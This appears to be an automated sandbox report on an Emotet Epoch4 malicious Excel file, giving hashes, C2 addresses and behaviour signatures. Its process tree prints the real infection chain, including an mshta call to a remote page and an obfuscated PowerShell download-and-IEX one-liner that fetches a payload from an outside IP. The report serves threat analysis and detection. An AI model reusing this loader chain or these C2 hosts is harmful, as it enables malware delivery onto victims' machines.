emotet | e6a55d3065b29b2634244c18d442d767860dde8b31b384e78ffa5a532f690a08

General

Target

e6a55d3065b29b2634244c18d442d767860dde8b31b384e78ffa5a532f690a08.xls
Size

128KB
MD5

22024c28d98a0aa62558650d4be96202
SHA1

2b145417423113d71bf9c988de67ebc2ded75471
SHA256

e6a55d3065b29b2634244c18d442d767860dde8b31b384e78ffa5a532f690a08
SHA512

6cf1ea3a5a151a833fbf9d5831d80583a15509183dc134b495cd26c41562bd2a8b159b170851a6f04c846592da00885ea93d4b58240d3f4db9f61285fcf84238

Score

10^/10

emotet epoch4 banker suricata trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0xb907d607/cc.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://185.7.214.7/PP91.PNG

Extracted

Family

emotet

Botnet

Epoch4

C2

131.100.24.231:80

209.59.138.75:7080

103.8.26.103:8080

51.38.71.0:443

212.237.17.99:8080

79.172.212.216:8080

207.38.84.195:8080

104.168.155.129:8080

178.79.147.66:8080

46.55.222.11:443

103.8.26.102:8080

192.254.71.210:443

45.176.232.124:443

203.114.109.124:443

51.68.175.8:8080

58.227.42.236:80

45.142.114.231:8080

217.182.143.207:443

178.63.25.185:443

45.118.115.99:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1876	2996	cmd.exe	EXCEL.EXE

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata
Blocklisted process makes network request 5 IoCs

Processes:

mshta.exepowershell.exerundll32.exe

flow pid process

33 2980 mshta.exe
34 3816 powershell.exe
38 3816 powershell.exe
44 3816 powershell.exe
49 3596 rundll32.exe
Downloads MZ/PE file
Loads dropped DLL 2 IoCs

Processes:

rundll32.exerundll32.exe

pid process

1216 rundll32.exe
976 rundll32.exe
Drops file in System32 directory 1 IoCs

Processes:

rundll32.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\Kyjfnnbnh\wzxkudbicnqn.ltj rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

3188 2980 WerFault.exe mshta.exe

flow	pid	process
33	2980	mshta.exe
34	3816	powershell.exe
38	3816	powershell.exe
44	3816	powershell.exe
49	3596	rundll32.exe

pid	process
1216	rundll32.exe
976	rundll32.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Kyjfnnbnh\wzxkudbicnqn.ltj	rundll32.exe

pid	pid_target	process	target process
3188	2980	WerFault.exe	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

2996 EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

Processes:

powershell.exeWerFault.exerundll32.exe

pid	process
3816	powershell.exe
3816	powershell.exe
3188	WerFault.exe
3188	WerFault.exe
3188	WerFault.exe
3188	WerFault.exe
3188	WerFault.exe
3188	WerFault.exe
3188	WerFault.exe
3188	WerFault.exe
3188	WerFault.exe
3188	WerFault.exe
3188	WerFault.exe
3188	WerFault.exe
3188	WerFault.exe
3188	WerFault.exe
3816	powershell.exe
3596	rundll32.exe
3596	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exeWerFault.exe

description pid process

Token: SeDebugPrivilege 3816 powershell.exe
Token: SeDebugPrivilege 3188 WerFault.exe

description	pid	process
Token: SeDebugPrivilege	3816	powershell.exe
Token: SeDebugPrivilege	3188	WerFault.exe

Suspicious use of SetWindowsHookEx 13 IoCs

Processes:

EXCEL.EXE

pid	process
2996	EXCEL.EXE
2996	EXCEL.EXE
2996	EXCEL.EXE
2996	EXCEL.EXE
2996	EXCEL.EXE
2996	EXCEL.EXE
2996	EXCEL.EXE
2996	EXCEL.EXE
2996	EXCEL.EXE
2996	EXCEL.EXE
2996	EXCEL.EXE
2996	EXCEL.EXE
2996	EXCEL.EXE

Suspicious use of WriteProcessMemory 20 IoCs

Processes:

EXCEL.EXEcmd.exemshta.exepowershell.execmd.exerundll32.exerundll32.exerundll32.exe

description	pid	process	target process
PID 2996 wrote to memory of 1876	2996	EXCEL.EXE	cmd.exe
PID 2996 wrote to memory of 1876	2996	EXCEL.EXE	cmd.exe
PID 1876 wrote to memory of 2980	1876	cmd.exe	mshta.exe
PID 1876 wrote to memory of 2980	1876	cmd.exe	mshta.exe
PID 2980 wrote to memory of 3816	2980	mshta.exe	powershell.exe
PID 2980 wrote to memory of 3816	2980	mshta.exe	powershell.exe
PID 3816 wrote to memory of 3652	3816	powershell.exe	cmd.exe
PID 3816 wrote to memory of 3652	3816	powershell.exe	cmd.exe
PID 3652 wrote to memory of 1216	3652	cmd.exe	rundll32.exe
PID 3652 wrote to memory of 1216	3652	cmd.exe	rundll32.exe
PID 3652 wrote to memory of 1216	3652	cmd.exe	rundll32.exe
PID 1216 wrote to memory of 976	1216	rundll32.exe	rundll32.exe
PID 1216 wrote to memory of 976	1216	rundll32.exe	rundll32.exe
PID 1216 wrote to memory of 976	1216	rundll32.exe	rundll32.exe
PID 976 wrote to memory of 1872	976	rundll32.exe	rundll32.exe
PID 976 wrote to memory of 1872	976	rundll32.exe	rundll32.exe
PID 976 wrote to memory of 1872	976	rundll32.exe	rundll32.exe
PID 1872 wrote to memory of 3596	1872	rundll32.exe	rundll32.exe
PID 1872 wrote to memory of 3596	1872	rundll32.exe	rundll32.exe
PID 1872 wrote to memory of 3596	1872	rundll32.exe	rundll32.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\e6a55d3065b29b2634244c18d442d767860dde8b31b384e78ffa5a532f690a08.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2996
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/c^c.h^tm^l
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:1876
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/cc.html
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:2980
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/PP91.PNG'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3816
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3652
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:1216
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
        7⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:976
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Kyjfnnbnh\wzxkudbicnqn.ltj",rgnahi
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:1872
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Kyjfnnbnh\wzxkudbicnqn.ltj",DllRegisterServer
        9⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:3596
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 2980 -s 1656
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3188

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Public\Documents\ssd.dll

MD5
e5fcf505c25e66116f288a8ae28d2c8a

SHA1
e597f6439a01aad82e153e0de647f54ad82b58d3

SHA256
63996a39755e84ee8b5d3f47296991362a17afaaccf2ac43207a424a366f4cc9

SHA512
ba8e09ab2b234836b39e07e7f3c1a394c57674bcd4959873ca324af14b2bb31fcc26feaba47fd55bf0fe572345f71a72851fe3b3c92664b3195eb9c683909eb1

Download Submit
\Users\Public\Documents\ssd.dll

MD5
e5fcf505c25e66116f288a8ae28d2c8a

SHA1
e597f6439a01aad82e153e0de647f54ad82b58d3

SHA256
63996a39755e84ee8b5d3f47296991362a17afaaccf2ac43207a424a366f4cc9

SHA512
ba8e09ab2b234836b39e07e7f3c1a394c57674bcd4959873ca324af14b2bb31fcc26feaba47fd55bf0fe572345f71a72851fe3b3c92664b3195eb9c683909eb1

Download Submit
\Users\Public\Documents\ssd.dll

MD5
e5fcf505c25e66116f288a8ae28d2c8a

SHA1
e597f6439a01aad82e153e0de647f54ad82b58d3

SHA256
63996a39755e84ee8b5d3f47296991362a17afaaccf2ac43207a424a366f4cc9

SHA512
ba8e09ab2b234836b39e07e7f3c1a394c57674bcd4959873ca324af14b2bb31fcc26feaba47fd55bf0fe572345f71a72851fe3b3c92664b3195eb9c683909eb1

Download Submit
memory/976-616-0x0000000005100000-0x0000000005126000-memory.dmp

Filesize
152KB

Download
memory/976-612-0x0000000004FB0000-0x0000000004FD6000-memory.dmp

Filesize
152KB

Download
memory/976-610-0x0000000004F50000-0x0000000004F76000-memory.dmp

Filesize
152KB

Download
memory/976-607-0x00000000049F0000-0x0000000004A16000-memory.dmp

Filesize
152KB

Download
memory/976-605-0x0000000003140000-0x0000000003166000-memory.dmp

Filesize
152KB

Download
memory/976-603-0x0000000002E60000-0x0000000002E86000-memory.dmp

Filesize
152KB

Download
memory/1216-600-0x0000000004890000-0x00000000048B6000-memory.dmp

Filesize
152KB

Download
memory/1872-613-0x00000000008E0000-0x0000000000906000-memory.dmp

Filesize
152KB

Download
memory/2996-128-0x00007FF9F7A00000-0x00007FF9F7A10000-memory.dmp

Filesize
64KB

Download
memory/2996-115-0x00007FF9FB330000-0x00007FF9FB340000-memory.dmp

Filesize
64KB

Download
memory/2996-651-0x00007FF9FB330000-0x00007FF9FB340000-memory.dmp

Filesize
64KB

Download
memory/2996-652-0x00007FF9FB330000-0x00007FF9FB340000-memory.dmp

Filesize
64KB

Download
memory/2996-653-0x00007FF9FB330000-0x00007FF9FB340000-memory.dmp

Filesize
64KB

Download
memory/2996-654-0x00007FF9FB330000-0x00007FF9FB340000-memory.dmp

Filesize
64KB

Download
memory/2996-129-0x00007FF9F7A00000-0x00007FF9F7A10000-memory.dmp

Filesize
64KB

Download
memory/2996-121-0x00007FF9FB330000-0x00007FF9FB340000-memory.dmp

Filesize
64KB

Download
memory/2996-118-0x00007FF9FB330000-0x00007FF9FB340000-memory.dmp

Filesize
64KB

Download
memory/2996-117-0x00007FF9FB330000-0x00007FF9FB340000-memory.dmp

Filesize
64KB

Download
memory/2996-116-0x00007FF9FB330000-0x00007FF9FB340000-memory.dmp

Filesize
64KB

Download
memory/3596-617-0x0000000000140000-0x0000000000166000-memory.dmp

Filesize
152KB

Download
memory/3596-619-0x0000000000450000-0x0000000000476000-memory.dmp

Filesize
152KB

Download
memory/3596-621-0x0000000000800000-0x0000000000826000-memory.dmp

Filesize
152KB

Download
memory/3596-625-0x0000000000990000-0x00000000009B6000-memory.dmp

Filesize
152KB

Download
memory/3596-627-0x00000000009C0000-0x00000000009E6000-memory.dmp

Filesize
152KB

Download
memory/3816-540-0x000001F25BAB6000-0x000001F25BAB8000-memory.dmp

Filesize
8KB

Download
memory/3816-317-0x000001F274390000-0x000001F274406000-memory.dmp

Filesize
472KB

Download
memory/3816-293-0x000001F2742D0000-0x000001F27430C000-memory.dmp

Filesize
240KB

Download
memory/3816-274-0x000001F25BAB3000-0x000001F25BAB5000-memory.dmp

Filesize
8KB

Download
memory/3816-273-0x000001F25BAB0000-0x000001F25BAB2000-memory.dmp

Filesize
8KB

Download
memory/3816-272-0x000001F25BBE0000-0x000001F25BC02000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads